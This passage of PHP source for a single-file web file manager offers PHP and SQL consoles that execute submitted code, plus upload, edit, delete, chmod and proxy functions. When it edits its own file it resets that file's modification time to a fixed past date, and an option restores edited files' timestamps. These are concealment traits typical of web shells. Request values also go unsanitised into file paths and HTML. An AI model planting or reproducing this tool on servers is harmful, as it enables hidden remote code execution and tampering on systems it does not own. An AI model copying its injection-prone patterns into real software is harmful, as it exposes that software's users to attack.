table.bg { background-color: #ACBBC6 } th, td { font: normal 8pt Verdana, Arial, Helvetica, sans-serif; padding: 3px; } th { height: 25px; background-color: #006699; color: #FFA34F; font-weight: bold; font-size: 11px; } .row1 { background-color: #EFEFEF; } .row2 { background-color: #DEE3E7; } .row3 { background-color: #D1D7DC; padding: 5px; } tr.row1:hover { background-color: #F3FCFC; } tr.row2:hover { background-color: #F0F6F6; } .whole { width: 100%; } .all tbody td:first-child{width:100%;} textarea { font: 9pt 'Courier New', courier; line-height: 125%; padding: 5px; } .textarea_input { height: 1em; } .textarea_input:focus { height: auto; } input[type=submit]{ background: #FCFCFC none !important; cursor: pointer; } .folder { background-image: url("data:image/png;base64,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"); } .file { background-image: url("data:image/png;base64,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"); } <?php echo fm_home_style(); ?> .img { background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII="); } @media screen and (max-width:720px){ table{display:block;} #fm_table td{display:inline;float:left;} #fm_table tbody td:first-child{width:100%;padding:0;} #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;} #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;} #fm_table tr{display:block;float:left;clear:left;width:100%;} #header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;} #header_table table td {display:inline;float:left;} } </style> </head> <body> <?php $url_inc = '?fm=true'; if (isset($_POST['sqlrun']) && !empty($fm_config['enable_sql_console'])) { $res = empty($_POST['sql']) ? '' : $_POST['sql']; $res_lng = 'sql'; } elseif (isset($_POST['phprun']) && !empty($fm_config['enable_php_console'])) { $res = empty($_POST['php']) ? '' : $_POST['php']; $res_lng = 'php'; } if (isset($_GET['fm_settings'])) { echo ' <table class="whole"> <form method="post" action=""> <tr><th colspan="2">' . __('File manager') . ' - ' . __('Settings') . '</th></tr> ' . (empty($msg) ? '' : '<tr><td class="row2" colspan="2">' . $msg . '</td></tr>') . ' ' . fm_config_checkbox_row(__('Show size of the folder'), 'show_dir_size') . ' ' . fm_config_checkbox_row(__('Show') . ' ' . __('pictures'), 'show_img') . ' ' . fm_config_checkbox_row(__('Show') . ' ' . __('Make directory'), 'make_directory') . ' ' . fm_config_checkbox_row(__('Show') . ' ' . __('New file'), 'new_file') . ' ' . fm_config_checkbox_row(__('Show') . ' ' . __('Upload'), 'upload_file') . ' ' . fm_config_checkbox_row(__('Show') . ' PHP version', 'show_php_ver') . ' ' . fm_config_checkbox_row(__('Show') . ' PHP ini', 'show_php_ini') . ' ' . fm_config_checkbox_row(__('Show') . ' ' . __('Generation time'), 'show_gt') . ' ' . fm_config_checkbox_row(__('Show') . ' xls', 'show_xls') . ' ' . fm_config_checkbox_row(__('Show') . ' PHP ' . __('Console'), 'enable_php_console') . ' ' . fm_config_checkbox_row(__('Show') . ' SQL ' . __('Console'), 'enable_sql_console') . ' <tr><td class="row1"><input name="fm_config[sql_server]" value="' . $fm_config['sql_server'] . '" type="text"></td><td class="row2 whole">SQL server</td></tr> <tr><td class="row1"><input name="fm_config[sql_username]" value="' . $fm_config['sql_username'] . '" type="text"></td><td class="row2 whole">SQL user</td></tr> <tr><td class="row1"><input name="fm_config[sql_password]" value="' . $fm_config['sql_password'] . '" type="text"></td><td class="row2 whole">SQL password</td></tr> <tr><td class="row1"><input name="fm_config[sql_db]" value="' . $fm_config['sql_db'] . '" type="text"></td><td class="row2 whole">SQL DB</td></tr> ' . fm_config_checkbox_row(__('Show') . ' Proxy', 'enable_proxy') . ' ' . fm_config_checkbox_row(__('Show') . ' phpinfo()', 'show_phpinfo') . ' ' . fm_config_checkbox_row(__('Show') . ' ' . __('Settings'), 'fm_settings') . ' ' . fm_config_checkbox_row(__('Restore file time after editing'), 'restore_time') . ' ' . fm_config_checkbox_row(__('File manager') . ': ' . __('Restore file time after editing'), 'fm_restore_time') . ' <tr><td class="row3"><a href="' . fm_url() . '?fm_settings=true&fm_config_delete=true">' . __('Reset settings') . '</a></td><td class="row3"><input type="submit" value="' . __('Save') . '" name="fm_config[fm_set_submit]"></td></tr> </form> </table> <table> <form method="post" action=""> <tr><th colspan="2">' . __('Settings') . ' - ' . __('Authorization') . '</th></tr> <tr><td class="row1"><input name="fm_login[authorize]" value="1" ' . ($auth['authorize'] ? 'checked' : '') . ' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">' . __('Authorization') . '</label></td></tr> <tr><td class="row1"><input name="fm_login[login]" value="' . $auth['login'] . '" type="text"></td><td class="row2 whole">' . __('Login') . '</td></tr> <tr><td class="row1"><input name="fm_login[password]" value="' . $auth['password'] . '" type="text"></td><td class="row2 whole">' . __('Password') . '</td></tr> <tr><td class="row1"><input name="fm_login[cookie_name]" value="' . $auth['cookie_name'] . '" type="text"></td><td class="row2 whole">' . __('Cookie') . '</td></tr> <tr><td class="row1"><input name="fm_login[days_authorization]" value="' . $auth['days_authorization'] . '" type="text"></td><td class="row2 whole">' . __('Days') . '</td></tr> <tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">' . $auth['script'] . '</textarea></td><td class="row2 whole">' . __('Script') . '</td></tr> <tr><td colspan="2" class="row3"><input type="submit" value="' . __('Save') . '" ></td></tr> </form> </table>'; echo fm_tpl_form('php'), fm_tpl_form('sql'); } elseif (isset($proxy_form)) { die($proxy_form); } elseif (isset($res_lng)) { ?> <table class="whole"> <tr> <th><?php echo __('File manager') . ' - ' . $path; ?></th> </tr> <tr> <td class="row2"><table><tr><td><h2><?php echo strtoupper($res_lng); ?> <?php echo __('Console'); if ($res_lng == 'sql') { echo ' - Database: ' . $fm_config['sql_db'] . '</h2></td><td>' . fm_run_input('php'); } else { echo '</h2></td><td>' . fm_run_input('sql'); } ?></td></tr></table></td> </tr> <tr> <td class="row1"> <a href="<?php echo $url_inc . '&path=' . $path; ?>"><?php echo __('Back'); ?></a> <form action="" method="POST" name="console"> <textarea name="<?php echo $res_lng; ?>" cols="80" rows="10" style="width: 90%"><?php echo $res; ?></textarea><br/> <input type="reset" value="<?php echo __('Reset'); ?>"> <input type="submit" value="<?php echo __('Submit'); ?>" name="<?php echo $res_lng; ?>run"> <?php $str_tmpl = $res_lng . '_templates'; $tmpl = !empty(${$str_tmpl}) ? json_decode(${$str_tmpl}, true) : ''; if (!empty($tmpl)) { $active = isset($_POST[$res_lng . '_tpl']) ? $_POST[$res_lng . '_tpl'] : ''; $select = '<select name="' . $res_lng . '_tpl" title="' . __('Template') . '" onchange="if (this.value!=-1) document.forms[\'console\'].elements[\'' . $res_lng . '\'].value = this.options[selectedIndex].value; else document.forms[\'console\'].elements[\'' . $res_lng . '\'].value =\'\';" >' . "\n"; $select .= '<option value="-1">' . __('Select') . "</option>\n"; foreach ($tmpl as $key => $value) { $select .= '<option value="' . $value . '" ' . (!empty($value) && $value == $active ? 'selected' : '') . ' >' . __($key) . "</option>\n"; } $select .= "</select>\n"; echo $select; } ?> </form> </td> </tr> </table> <?php if (!empty($res)) { $fun = 'fm_' . $res_lng; echo '<h3>' . strtoupper($res_lng) . ' ' . __('Result') . '</h3><pre>' . $fun($res) . '</pre>'; } } elseif (!empty($_REQUEST['edit'])) { if (!empty($_REQUEST['save'])) { $fn = $path . $_REQUEST['edit']; $filemtime = filemtime($fn); if (file_put_contents($fn, $_REQUEST['newcontent'])) { $msg .= __('File updated'); } else { $msg .= __('Error occurred'); } if ($_GET['edit'] == basename(__FILE__)) { touch(__FILE__, 1415116371); } else { if (!empty($fm_config['restore_time'])) { touch($fn, $filemtime); } } } $oldcontent = @file_get_contents($path . $_REQUEST['edit']); $editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path; $backlink = $url_inc . '&path=' . $path; ?> <table border='0' cellspacing='0' cellpadding='1' width="100%"> <tr> <th><?php echo __('File manager') . ' - ' . __('Edit') . ' - ' . $path . $_REQUEST['edit']; ?></th> </tr> <tr> <td class="row1"> <?php echo $msg; ?> </td> </tr> <tr> <td class="row1"> <?php echo fm_home(); ?> <a href="<?php echo $backlink; ?>"><?php echo __('Back'); ?></a> </td> </tr> <tr> <td class="row1" align="center"> <form name="form1" method="post" action="<?php echo $editlink; ?>"> <textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?php echo htmlspecialchars($oldcontent); ?></textarea> <input type="submit" name="save" value="<?php echo __('Submit'); ?>"> <input type="submit" name="cancel" value="<?php echo __('Cancel'); ?>"> </form> </td> </tr> </table> <?php echo $auth['script']; } elseif (!empty($_REQUEST['rights'])) { if (!empty($_REQUEST['save'])) { if (fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively'])) { $msg .= __('File updated'); } else { $msg .= __('Error occurred'); } } clearstatcache(); $oldrights = fm_rights_string($path . $_REQUEST['rights'], true); $link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path; $backlink = $url_inc . '&path=' . $path; ?> <table class="whole"> <tr> <th><?php echo __('File manager') . ' - ' . $path; ?></th> </tr> <tr> <td class="row1"> <?php echo $msg; ?> </td> </tr> <tr> <td class="row1"> <a href="<?php echo $backlink; ?>"><?php echo __('Back'); ?></a> </td> </tr> <tr> <td class="row1" align="center"> <form name="form1" method="post" action="<?php echo $link; ?>"> <?php echo __('Rights') . ' - ' . $_REQUEST['rights']; ?> <input type="text" name="rights_val" value="<?php echo $oldrights; ?>"> <?php if (is_dir($path . $_REQUEST['rights'])) { ?> <input type="checkbox" name="recursively" value="1"> <?php echo __('Recursively'); ?><br/> <?php } ?> <input type="submit" name="save" value="<?php echo __('Submit'); ?>"> </form> </td> </tr> </table> <?php } elseif (!empty($_REQUEST['rename']) && $_REQUEST['rename'] != '.') { if (!empty($_REQUEST['save'])) { rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']); $msg .= __('File updated'); $_REQUEST['rename'] = $_REQUEST['newname']; } clearstatcache(); $link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path; $backlink = $url_inc . '&path=' . $path; ?> <table class="whole"> <tr> <th><?php echo __('File manager') . ' - ' . $path; ?></th> </tr> <tr> <td class="row1"> <?php echo $msg; ?> </td> </tr> <tr> <td class="row1"> <a href="<?php echo $backlink; ?>"><?php echo __('Back'); ?></a> </td> </tr> <tr> <td class="row1" align="center"> <form name="form1" method="post" action="<?php echo $link; ?>"> <?php echo __('Rename'); ?>: <input type="text" name="newname" value="<?php echo $_REQUEST['rename']; ?>"><br/> <input type="submit" name="save" value="<?php echo __('Submit'); ?>"> </form> </td> </tr> </table> <?php } else { //Let's rock! $msg = ''; if (!empty($_FILES['upload']) && !empty($fm_config['upload_file'])) { if (!empty($_FILES['upload']['name'])) { $_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']); if (!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])) { $msg .= __('Error occurred'); } else { $msg .= __('Files uploaded') . ': ' . $_FILES['upload']['name']; } } } elseif (!empty($_REQUEST['delete']) && $_REQUEST['delete'] != '.') { if (!fm_del_files($path . $_REQUEST['delete'], true)) { $msg .= __('Error occurred'); } else { $msg .= __('Deleted') . ' ' . $_REQUEST['delete']; } } elseif (!empty($_REQUEST['mkdir']) && !empty($fm_config['make_directory'])) { if (!@mkdir($path . $_REQUEST['dirname'], 0777)) { $msg .= __('Error occurred'); } else { $msg .= __('Created') . ' ' . 